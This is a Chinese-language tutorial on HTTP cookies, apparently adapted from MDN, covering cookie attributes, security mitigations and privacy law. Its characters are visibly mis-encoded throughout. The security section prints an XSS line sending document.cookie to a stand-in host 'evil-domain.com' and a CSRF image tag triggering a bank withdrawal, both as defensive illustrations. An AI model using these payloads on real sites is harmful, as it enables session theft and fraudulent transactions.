[toc] # 簡(jiǎn)介 HTTP Cookie（也叫 Web Cookie 或?yàn)g覽器 Cookie）是服務(wù)器發(fā)送到用戶瀏覽器并保存在本地的一小塊數(shù)據(jù)，它會(huì)在瀏覽器下次向同一服務(wù)器再發(fā)起請(qǐng)求時(shí)被攜帶并發(fā)送到服務(wù)器上。通常，它用于告知服務(wù)端兩個(gè)請(qǐng)求是否來自同一瀏覽器，如保持用戶的登錄狀態(tài)。Cookie 使基于無狀態(tài)的HTTP協(xié)議記錄穩(wěn)定的狀態(tài)信息成為了可能。 ## Cookie 主要用于以下三個(gè)方面： * 會(huì)話狀態(tài)管理（如用戶登錄狀態(tài)、購(gòu)物車、游戲分?jǐn)?shù)或其它需要記錄的信息） * 個(gè)性化設(shè)置（如用戶自定義設(shè)置、主題等） * 瀏覽器行為跟蹤（如跟蹤分析用戶行為等） ## 擴(kuò)展知識(shí) Cookie 曾一度用于客戶端數(shù)據(jù)的存儲(chǔ)，因當(dāng)時(shí)并沒有其它合適的存儲(chǔ)辦法而作為唯一的存儲(chǔ)手段，但現(xiàn)在隨著現(xiàn)代瀏覽器開始支持各種各樣的存儲(chǔ)方式，Cookie 漸漸被淘汰。由于服務(wù)器指定 Cookie 后，瀏覽器的每次請(qǐng)求都會(huì)攜帶 Cookie 數(shù)據(jù)，會(huì)帶來額外的性能開銷（尤其是在移動(dòng)環(huán)境下）。新的瀏覽器API已經(jīng)允許開發(fā)者直接將數(shù)據(jù)存儲(chǔ)到本地，如使用 Web storage API （本地存儲(chǔ)和會(huì)話存儲(chǔ)）或 IndexedDB 。 **備注：** ``` 要查看Cookie存儲(chǔ)（或網(wǎng)頁(yè)上能夠使用其他的存儲(chǔ)方式），你可以在開發(fā)者工具中啟用存儲(chǔ)查看（Storage Inspector ）功能，并在存儲(chǔ)樹上選中Cookie。 ``` # 創(chuàng)建Cookie 當(dāng)服務(wù)器收到 HTTP 請(qǐng)求時(shí)，服務(wù)器可以在響應(yīng)頭里面添加一個(gè) Set-Cookie 選項(xiàng)。瀏覽器收到響應(yīng)后通常會(huì)保存下 Cookie，之后對(duì)該服務(wù)器每一次請(qǐng)求中都通過 Cookie 請(qǐng)求頭部將 Cookie 信息發(fā)送給服務(wù)器。另外，Cookie 的過期時(shí)間、域、路徑、有效期、適用站點(diǎn)都可以根據(jù)需要來指定。 ## Set-Cookie響應(yīng)頭部和Cookie請(qǐng)求頭部 服務(wù)器使用 Set-Cookie 響應(yīng)頭部向用戶代理（一般是瀏覽器）發(fā)送 Cookie信息。一個(gè)簡(jiǎn)單的 Cookie 可能像這樣： ``` Set-Cookie: <cookie名>=<cookie值> ``` 服務(wù)器通過該頭部告知客戶端保存 Cookie 信息。 ``` HTTP/1.0 200 OK Content-type: text/html Set-Cookie: yummy_cookie=choco Set-Cookie: tasty_cookie=strawberry [頁(yè)面內(nèi)容] ``` 現(xiàn)在，對(duì)該服務(wù)器發(fā)起的每一次新請(qǐng)求，瀏覽器都會(huì)將之前保存的Cookie信息通過 Cookie 請(qǐng)求頭部再發(fā)送給服務(wù)器。 ``` GET /sample_page.html HTTP/1.1 Host: www.example.org Cookie: yummy_cookie=choco; tasty_cookie=strawberry ``` ## 定義 Cookie 的生命周期 Cookie 的生命周期可以通過兩種方式定義： * 會(huì)話期 Cookie 是最簡(jiǎn)單的 Cookie：瀏覽器關(guān)閉之后它會(huì)被自動(dòng)刪除，也就是說它僅在會(huì)話期內(nèi)有效。會(huì)話期Cookie不需要指定過期時(shí)間（Expires）或者有效期（Max-Age）。需要注意的是，有些瀏覽器提供了會(huì)話恢復(fù)功能，這種情況下即使關(guān)閉了瀏覽器，會(huì)話期Cookie 也會(huì)被保留下來，就好像瀏覽器從來沒有關(guān)閉一樣，這會(huì)導(dǎo)致 Cookie 的生命周期無限期延長(zhǎng)。 * 持久性 Cookie 的生命周期取決于過期時(shí)間（Expires）或有效期（Max-Age）指定的一段時(shí)間。 **例如：** ``` Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; ``` 如果您的站點(diǎn)對(duì)用戶進(jìn)行身份驗(yàn)證，則每當(dāng)用戶進(jìn)行身份驗(yàn)證時(shí)，它都應(yīng)重新生成并重新發(fā)送會(huì)話 Cookie，甚至是已經(jīng)存在的會(huì)話 Cookie。此技術(shù)有助于防止會(huì)話固定攻擊（session fixation attacks），在該攻擊中第三方可以重用用戶的會(huì)話。 **備注：** ``` 當(dāng)Cookie的過期時(shí)間被設(shè)定時(shí)，設(shè)定的日期和時(shí)間只與客戶端相關(guān)，而不是服務(wù)端。 ``` ## 限制訪問 Cookie 有兩種方法可以確保 Cookie 被安全發(fā)送，并且不會(huì)被意外的參與者或腳本訪問：Secure 屬性和HttpOnly 屬性。 * 標(biāo)記為 Secure 的 Cookie 只應(yīng)通過被 HTTPS 協(xié)議加密過的請(qǐng)求發(fā)送給服務(wù)端，因此可以預(yù)防 man-in-the-middle 攻擊者的攻擊。但即便設(shè)置了 Secure 標(biāo)記，敏感信息也不應(yīng)該通過 Cookie 傳輸，因?yàn)?Cookie 有其固有的不安全性，Secure 標(biāo)記也無法提供確實(shí)的安全保障, 例如，可以訪問客戶端硬盤的人可以讀取它。 * JavaScript Document.cookie API 無法訪問帶有 HttpOnly 屬性的cookie；此類 Cookie 僅作用于服務(wù)器。 例如，持久化服務(wù)器端會(huì)話的 Cookie 不需要對(duì) JavaScript 可用，而應(yīng)具有 HttpOnly 屬性。此預(yù)防措施有助于緩解跨站點(diǎn)腳本（XSS）攻擊。 **示例：** ``` Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly ``` **備注：** ``` 從 Chrome 52 和 Firefox 52 開始，不安全的站點(diǎn)（http:）無法使用Cookie的 Secure 標(biāo)記。 ``` ## Cookie 的作用域 Domain 和 Path 標(biāo)識(shí)定義了Cookie的作用域：即允許 Cookie 應(yīng)該發(fā)送給哪些URL。 ### Domain 屬性 Domain 指定了哪些主機(jī)可以接受 Cookie。如果不指定，默認(rèn)為 origin，不包含子域名。如果指定了Domain，則一般包含子域名。因此，指定 Domain 比省略它的限制要少。但是，當(dāng)子域需要共享有關(guān)用戶的信息時(shí)，這可能會(huì)有所幫助。 例如，如果設(shè)置 Domain=mozilla.org，則 Cookie 也包含在子域名中（如developer.mozilla.org）。 **備注：** ``` 當(dāng)前大多數(shù)瀏覽器遵循 RFC 6265，設(shè)置 Domain 時(shí) 不需要加前導(dǎo)點(diǎn)。瀏覽器不遵循該規(guī)范，則需要加前導(dǎo)點(diǎn)，例如：Domain=.mozilla.org ``` ### Path 屬性 Path 標(biāo)識(shí)指定了主機(jī)下的哪些路徑可以接受 Cookie（該 URL 路徑必須存在于請(qǐng)求 URL 中）。以字符 %x2F ("/") 作為路徑分隔符，子路徑也會(huì)被匹配。 例如，設(shè)置 Path=/docs，則以下地址都會(huì)匹配： * /docs * /docs/Web/ * /docs/Web/HTTP ### SameSite attribute SameSite Cookie 允許服務(wù)器要求某個(gè) cookie 在跨站請(qǐng)求時(shí)不會(huì)被發(fā)送，（其中 Site 由可注冊(cè)域定義），從而可以阻止跨站請(qǐng)求偽造攻擊（CSRF）。 SameSite cookies 是相對(duì)較新的一個(gè)字段，所有主流瀏覽器都已經(jīng)得到支持。 下面是例子： ``` Set-Cookie: key=value; SameSite=Strict ``` **SameSite 可以有下面三種值：** * None。瀏覽器會(huì)在同站請(qǐng)求、跨站請(qǐng)求下繼續(xù)發(fā)送 cookies，不區(qū)分大小寫。 * Strict。瀏覽器將只在訪問相同站點(diǎn)時(shí)發(fā)送 cookie。（在原有 Cookies 的限制條件上的加強(qiáng)，如上文 “Cookie 的作用域” 所述） * Lax。與 Strict 類似，但用戶從外部站點(diǎn)導(dǎo)航至URL時(shí)（例如通過鏈接）除外。 在新版本瀏覽器中，為默認(rèn)選項(xiàng)，Same-site cookies 將會(huì)為一些跨站子請(qǐng)求保留，如圖片加載或者 frames 的調(diào)用，但只有當(dāng)用戶從外部站點(diǎn)導(dǎo)航到URL時(shí)才會(huì)發(fā)送，如 link 鏈接 **備注：** ``` 以前，如果 SameSite 屬性沒有設(shè)置，或者沒有得到運(yùn)行瀏覽器的支持，那么它的行為等同于 None，Cookies 會(huì)被包含在任何請(qǐng)求中——包括跨站請(qǐng)求。 大多數(shù)主流瀏覽器正在將 SameSite 的默認(rèn)值遷移至 Lax。如果想要指定 Cookies 在同站、跨站請(qǐng)求都被發(fā)送，現(xiàn)在需要明確指定 SameSite 為 None。 ``` ### Cookie prefixes cookie 機(jī)制的使得服務(wù)器無法確認(rèn) cookie 是在安全來源上設(shè)置的，甚至無法確定 cookie 最初是在哪里設(shè)置的。 子域上的易受攻擊的應(yīng)用程序可以使用 Domain 屬性設(shè)置 cookie，從而可以訪問所有其他子域上的該 cookie。會(huì)話固定攻擊中可能會(huì)濫用此機(jī)制。有關(guān)主要緩解方法，請(qǐng)參閱會(huì)話劫持（ session fixation）。 但是，作為深度防御措施，可以使用 cookie 前綴來斷言有關(guān) cookie 的特定事實(shí)。有兩個(gè)前綴可用： ``` __Host- 如果 cookie 名稱具有此前綴，則僅當(dāng)它也用 Secure 屬性標(biāo)記，是從安全來源發(fā)送的，不包括 Domain 屬性，并將 Path 屬性設(shè)置為 / 時(shí)，它才在 Set-Cookie 標(biāo)頭中接受。這樣，這些 cookie 可以被視為 "domain-locked”。 __Secure- 如果 cookie 名稱具有此前綴，則僅當(dāng)它也用 Secure 屬性標(biāo)記，是從安全來源發(fā)送的，它才在 Set-Cookie 標(biāo)頭中接受。該前綴限制要弱于 __Host- 前綴。 ``` 帶有這些前綴點(diǎn) Cookie， 如果不符合其限制的會(huì)被瀏覽器拒絕。請(qǐng)注意，這確保了如果子域要?jiǎng)?chuàng)建帶有前綴的 cookie，那么它將要么局限于該子域，要么被完全忽略。由于應(yīng)用服務(wù)器僅在確定用戶是否已通過身份驗(yàn)證或 CSRF 令牌正確時(shí)才檢查特定的 cookie 名稱，因此，這有效地充當(dāng)了針對(duì)會(huì)話劫持的防御措施。 **備注：** ``` 在應(yīng)用程序服務(wù)器上，Web 應(yīng)用程序必須檢查完整的 cookie 名稱，包括前綴 —— 用戶代理程序在從請(qǐng)求的 Cookie 標(biāo)頭中發(fā)送前綴之前，不會(huì)從 cookie 中剝離前綴。 ``` ### JavaScript 通過 Document.cookie 訪問 Cookie 通過 Document.cookie 屬性可創(chuàng)建新的 Cookie，也可通過該屬性訪問非HttpOnly標(biāo)記的Cookie。 ``` document.cookie = "yummy_cookie=choco"; document.cookie = "tasty_cookie=strawberry"; console.log(document.cookie); // logs "yummy_cookie=choco; tasty_cookie=strawberry" ``` 通過 JavaScript 創(chuàng)建的 Cookie 不能包含 HttpOnly 標(biāo)志。 # 安全 **備注：** ``` 信息被存在 Cookie 中時(shí)，需要明白 cookie 的值時(shí)可以被訪問，且可以被終端用戶所修改的。根據(jù)應(yīng)用程序的不同，可能需要使用服務(wù)器查找的不透明標(biāo)識(shí)符，或者研究諸如 JSON Web Tokens 之類的替代身份驗(yàn)證/機(jī)密機(jī)制。 當(dāng)機(jī)器處于不安全環(huán)境時(shí)，切記不能通過 HTTP Cookie 存儲(chǔ)、傳輸敏感信息。 ``` **緩解涉及Cookie的攻擊的方法：** * 使用 HttpOnly 屬性可防止通過 JavaScript 訪問 cookie 值。 * 用于敏感信息（例如指示身份驗(yàn)證）的 Cookie 的生存期應(yīng)較短，并且 SameSite 屬性設(shè)置為Strict 或 Lax。（請(qǐng)參見上方的 SameSite Cookie。）在支持 SameSite 的瀏覽器中，這樣做的作用是確保不與跨域請(qǐng)求一起發(fā)送身份驗(yàn)證 cookie，因此，這種請(qǐng)求實(shí)際上不會(huì)向應(yīng)用服務(wù)器進(jìn)行身份驗(yàn)證。 ## 會(huì)話劫持和 XSS 在 Web 應(yīng)用中，Cookie 常用來標(biāo)記用戶或授權(quán)會(huì)話。因此，如果 Web 應(yīng)用的 Cookie 被竊取，可能導(dǎo)致授權(quán)用戶的會(huì)話受到攻擊。常用的竊取 Cookie 的方法有利用社會(huì)工程學(xué)攻擊和利用應(yīng)用程序漏洞進(jìn)行 XSS 攻擊。 ``` (new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; ``` HttpOnly 類型的 Cookie 用于阻止了JavaScript 對(duì)其的訪問性而能在一定程度上緩解此類攻擊。 ## 跨站請(qǐng)求偽造（CSRF） 維基百科已經(jīng)給了一個(gè)比較好的 CSRF 例子。比如在不安全聊天室或論壇上的一張圖片，它實(shí)際上是一個(gè)給你銀行服務(wù)器發(fā)送提現(xiàn)的請(qǐng)求： ``` <img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory"> ``` 當(dāng)你打開含有了這張圖片的 HTML 頁(yè)面時(shí)，如果你之前已經(jīng)登錄了你的銀行帳號(hào)并且 Cookie 仍然有效（還沒有其它驗(yàn)證步驟），你銀行里的錢很可能會(huì)被自動(dòng)轉(zhuǎn)走。有一些方法可以阻止此類事件的發(fā)生： * 對(duì)用戶輸入進(jìn)行過濾來阻止 XSS； * 任何敏感操作都需要確認(rèn)； * 用于敏感信息的 Cookie 只能擁有較短的生命周期； * 更多方法可以查看[OWASP CSRF](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html) # 跟蹤和隱私 ## 第三方 Cookie Cookie 與域關(guān)聯(lián)。如果此域與您所在頁(yè)面的域相同，則該 cookie 稱為第一方 cookie（ first-party cookie）。如果域不同，則它是第三方 cookie（third-party cookie）。當(dāng)托管網(wǎng)頁(yè)的服務(wù)器設(shè)置第一方 Cookie 時(shí)，該頁(yè)面可能包含存儲(chǔ)在其他域中的服務(wù)器上的圖像或其他組件（例如，廣告橫幅），這些圖像或其他組件可能會(huì)設(shè)置第三方 Cookie。這些主要用于在網(wǎng)絡(luò)上進(jìn)行廣告和跟蹤。例如，types of cookies used by Google。第三方服務(wù)器可以基于同一瀏覽器在訪問多個(gè)站點(diǎn)時(shí)發(fā)送給它的 cookie 來建立用戶瀏覽歷史和習(xí)慣的配置文件。Firefox 默認(rèn)情況下會(huì)阻止已知包含跟蹤器的第三方 cookie。第三方cookie（或僅跟蹤 cookie）也可能被其他瀏覽器設(shè)置或擴(kuò)展程序阻止。阻止 Cookie 會(huì)導(dǎo)致某些第三方組件（例如社交媒體窗口小部件）無法正常運(yùn)行。 如果你沒有公開你網(wǎng)站上第三方 Cookie 的使用情況，當(dāng)它們被發(fā)覺時(shí)用戶對(duì)你的信任程度可能受到影響。一個(gè)較清晰的聲明（比如在隱私策略里面提及）能夠減少或消除這些負(fù)面影響。在某些國(guó)家已經(jīng)開始對(duì)Cookie制訂了相應(yīng)的法規(guī)，可以查看維基百科上例子cookie statement。 ## Cookie 相關(guān)規(guī)定 涉及使用 Cookie 的法律或法規(guī)包括： * 歐盟通用數(shù)據(jù)隱私法規(guī)（GDPR） * 歐盟的《隱私權(quán)指令》 * 加州消費(fèi)者隱私法 這些規(guī)定具有全球影響力，因?yàn)樗鼈冞m用于這些司法管轄區(qū)（歐盟和加利福尼亞）的用戶訪問的萬維網(wǎng)上的任何站點(diǎn)，但請(qǐng)注意，加利福尼亞州的法律僅適用于總收入超過2500萬美元的實(shí)體其他事情。） 這些法規(guī)包括以下要求： * 向用戶表明您的站點(diǎn)使用 cookie。 * 允許用戶選擇不接收某些或所??有 cookie。 * 允許用戶在不接收 Cookie 的情況下使用大部分服務(wù)。 可能還存在其他法規(guī)來管理您當(dāng)?shù)氐腃ookie。您有責(zé)任了解并遵守這些規(guī)定。有些公司提供 "cookie banner" 代碼，可幫助您遵守這些法規(guī)。 ### 禁止追蹤 Do-Not-Track 雖然并沒有法律或者技術(shù)手段強(qiáng)制要求使用 DNT，但是通過DNT 可以告訴Web程序不要對(duì)用戶行為進(jìn)行追蹤或者跨站追蹤。查看DNT 以獲取更多信息。 ### 歐盟 Cookie 指令 關(guān)于 Cookie，歐盟已經(jīng)在2009/136/EC指令中提了相關(guān)要求，該指令已于2011年5月25日生效。雖然指令并不屬于法律，但它要求歐盟各成員國(guó)通過制定相關(guān)的法律來滿足該指令所提的要求。當(dāng)然，各國(guó)實(shí)際制定法律會(huì)有所差別。 該歐盟指令的大意：在征得用戶的同意之前，網(wǎng)站不允許通過計(jì)算機(jī)、手機(jī)或其他設(shè)備存儲(chǔ)、檢索任何信息。自從那以后，很多網(wǎng)站都在網(wǎng)站聲明中添加了相關(guān)說明，告訴用戶他們的 Cookie 將用于何處。 ## 僵尸 Cookie 和刪不掉的 Cookie Cookie的一個(gè)極端使用例子是僵尸Cookie（或稱之為“刪不掉的Cookie”），這類 Cookie 較難以刪除，甚至刪除之后會(huì)自動(dòng)重建。這些技術(shù)違反了用戶隱私和用戶控制的原則，可能違反了數(shù)據(jù)隱私法規(guī)，并可能使使用它們的網(wǎng)站承擔(dān)法律責(zé)任。它們一般是使用 Web storage API、Flash本地共享對(duì)象或者其他技術(shù)手段來達(dá)到的。 # 在瀏覽器中存儲(chǔ)信息的其他方式 在瀏覽器中存儲(chǔ)數(shù)據(jù)的另一種方法是 Web Storage API。window.sessionStorage 和window.localStorage 屬性與持續(xù)時(shí)間中的會(huì)話和永久 cookie 相對(duì)應(yīng)，但是存儲(chǔ)限制比 cookie大，并且永遠(yuǎn)不會(huì)發(fā)送到服務(wù)器。 可以使用 IndexedDB API 或基于它構(gòu)建的庫(kù)來存儲(chǔ)更多結(jié)構(gòu)化的數(shù)據(jù)。 # 參考資料 * 《HTTP|MDN》